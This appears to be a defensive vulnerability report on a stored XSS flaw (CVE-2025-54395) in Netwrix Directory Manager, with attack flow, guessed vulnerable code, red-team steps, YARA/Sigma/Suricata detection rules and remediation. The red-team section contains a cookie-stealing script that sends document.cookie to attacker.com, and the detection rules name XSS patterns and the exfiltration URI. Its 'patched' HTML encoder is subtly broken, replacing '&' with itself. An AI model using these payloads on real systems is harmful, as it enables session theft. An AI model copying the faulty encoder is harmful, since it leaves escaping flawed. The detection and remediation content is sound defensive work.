CVE-2025-54395

Executive Summary

CVE-2025-54395 is a stored Cross-Site Scripting (XSS) vulnerability in Netwrix Directory Manager (formerly Imanami GroupID) versions 11.0.0.0 through 11.1.25162.01. The vulnerability allows an authenticated attacker with administrative privileges to inject malicious scripts into authentication configuration data. When an administrator views the affected configuration page, the injected script executes in the context of their browser session, potentially leading to session hijacking, credential theft, or further compromise of the Netwrix management console.

This vulnerability is particularly dangerous because it targets the authentication configuration interface, which is a high-value target for attackers seeking to establish persistence or escalate privileges within an identity management system. The lack of proper output encoding in the authentication configuration fields enables the injection of arbitrary HTML and JavaScript.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product (Netwrix Directory Manager). The supply chain risk is limited to the software vendor's distribution channels and update mechanisms. Organizations should ensure they obtain patches only from official Netwrix sources and verify file integrity using provided checksums.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): High (H) - An attacker needs administrative privileges to modify authentication configuration.
• User Interaction (UI): Required (R) - The victim (another admin) must view the malicious configuration page.
• Scope (S): Changed (C) - The vulnerable component (configuration page) impacts the security of the broader management console.
• Confidentiality (C): High (H) - An attacker could steal session tokens or credentials.
• Integrity (I): High (H) - An attacker could modify other configuration settings via XSS.
• Availability (A): Low (L) - An attacker could potentially disrupt the management interface.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L Estimated Base Score: 7.6 (High)

Threat Level: High. While the attack requires administrative privileges, the impact on confidentiality and integrity is severe. The vulnerability could be used as a pivot point to compromise the entire identity management infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the authentication configuration module of Netwrix Directory Manager. The application fails to properly sanitize or encode user-supplied input when storing authentication-related settings (e.g., LDAP bind credentials, OAuth client secrets, or SAML metadata). When an administrator views the configuration page, the stored data is rendered in an HTML context without proper escaping.

Root Cause: The application uses a server-side template or direct string concatenation to display configuration values without applying context-aware output encoding (e.g., HTML entity encoding). This allows an attacker to inject HTML tags and JavaScript event handlers.

Attack Flow:

1. An attacker with administrative access navigates to the authentication configuration page.
2. The attacker inserts a malicious payload into a configuration field, such as the "LDAP Bind DN" or "OAuth Redirect URI".
3. The application stores the payload in its database or configuration file.
4. When another administrator (or the same attacker) views the configuration page, the payload is rendered in the browser.
5. The injected JavaScript executes, allowing the attacker to:
   • Steal session cookies (if not HttpOnly).
   • Perform actions on behalf of the victim admin (e.g., create new admin accounts, modify directory schema).
   • Exfiltrate sensitive configuration data to an attacker-controlled server.

Why This is Dangerous: The authentication configuration is a critical component. Compromising it can allow an attacker to:

• Redirect authentication flows to malicious identity providers.
• Steal credentials used for directory synchronization.
• Disable multi-factor authentication (MFA) enforcement.

Vulnerable vs. Patched Code

The vulnerable code likely resembles the following (pseudocode):

// Vulnerable: Directly outputs user input without encoding
function renderConfigField(fieldName, fieldValue) {
    document.getElementById(fieldName).innerHTML = fieldValue;
}

The patched code should use proper output encoding:

// Patched: HTML-encode the value before rendering
function renderConfigField(fieldName, fieldValue) {
    const encodedValue = encodeHTML(fieldValue);
    document.getElementById(fieldName).innerHTML = encodedValue;
}

function encodeHTML(str) {
    return str.replace(/&/g, '&')
              .replace(/</g, '&lt;')
              .replace(/>/g, '&gt;')
              .replace(/"/g, '&quot;')
              .replace(/'/g, '&#039;');
}

Alternatively, the patched version may use a secure templating engine that automatically escapes output, such as React's JSX or Angular's interpolation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to Netwrix Directory Manager (version 11.0.0.0 to 11.1.25162.01).
• A target configuration field that is rendered without encoding.

Exploitation Steps:

1. Identify Vulnerable Field: Navigate to Administration > Authentication Configuration. Look for fields that accept free-form text (e.g., "LDAP Bind DN", "OAuth Client Secret", "SAML Entity ID").

2. Craft Payload: Use a simple XSS payload to test:

   <script>alert('XSS')</script>
   

3. Inject Payload: Enter the payload into the vulnerable field and save the configuration.

4. Trigger Execution: Have another administrator (or yourself) view the same configuration page. The alert box should appear.

5. Escalate Payload: For a more impactful attack, use a payload that exfiltrates session cookies:

   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

Note: Since no public exploit code is available, this is a conceptual demonstration.

Blue Team

Detection Steps:

1. Monitor Configuration Changes: Enable auditing on the Netwrix Directory Manager to log all changes to authentication configuration. Look for entries containing HTML tags or JavaScript code.

2. Review Web Application Firewall (WAF) Logs: Check for requests to the configuration page that contain suspicious patterns like <script>, onerror=, or javascript:.

3. Inspect Browser Console: If an XSS attack is suspected, have administrators check their browser's developer console for unexpected network requests or errors.

4. Honeypot Field: Create a fake configuration field with a unique value (e.g., HONEYPOT_123). Monitor for any requests that include this value in the URL or as a parameter, indicating exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP/HTTPS requests to unknown or suspicious domains from the Netwrix server.
  • Requests containing document.cookie or localStorage in the URL parameters.
  • Unusual POST requests to the authentication configuration API endpoint.

• Host IOCs:

  • Modified configuration files containing HTML tags or JavaScript code (e.g., web.config, appsettings.json).
  • Unexpected entries in the application logs showing HTML injection attempts.
  • New administrator accounts created shortly after a configuration change.

• Log IOCs:

  • Event ID 4662 (An operation was performed on an object) in Windows Security Logs for the Netwrix service account.
  • Application logs showing XSS or HTML injection warnings (if any security controls are in place).

Detection Engineering

YARA Rule

rule Detect_Netwrix_XSS_Config {
    meta:
        description = "Detects XSS payloads in Netwrix Directory Manager configuration files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54395"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss3 = /javascript\s*:/i
        $xss4 = /<[^>]*\s+onerror\s*=[^>]*>/i
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: Netwrix Directory Manager XSS in Authentication Config
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in authentication configuration fields of Netwrix Directory Manager
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54395
logsource:
    product: windows
    service: application
    category: application_log
detection:
    selection:
        EventID: 4662
        ObjectName: '*Netwrix*Directory*Manager*'
        AccessMask: '%%7684'  # WRITE_PROP
    condition: selection
falsepositives:
    - Legitimate configuration changes by authorized administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Netwrix Directory Manager XSS Exfiltration Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/steal?cookie="; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the official patch by upgrading to Netwrix Directory Manager version 11.1.25162.02 or later.
2. Restrict Access: Limit administrative access to the Netwrix management console to only trusted users and from trusted IP addresses.
3. Enable Auditing: Ensure all configuration changes are logged and monitored.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation on all configuration fields. Reject any input containing HTML tags or JavaScript code.
2. Output Encoding: Use context-aware output encoding (e.g., HTML entity encoding) for all user-supplied data rendered in the browser.
3. Content Security Policy (CSP): Deploy a strict CSP header that blocks inline scripts and only allows scripts from trusted sources.
4. Web Application Firewall (WAF): Use a WAF to filter out XSS payloads before they reach the application.
5. Regular Security Audits: Conduct periodic code reviews and penetration tests focusing on the authentication configuration module.

Workaround (if patching is not immediately possible):

• Manually review and sanitize all authentication configuration fields after any change.
• Use a reverse proxy to add an additional layer of input validation.

Valters IT

This report is generated for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.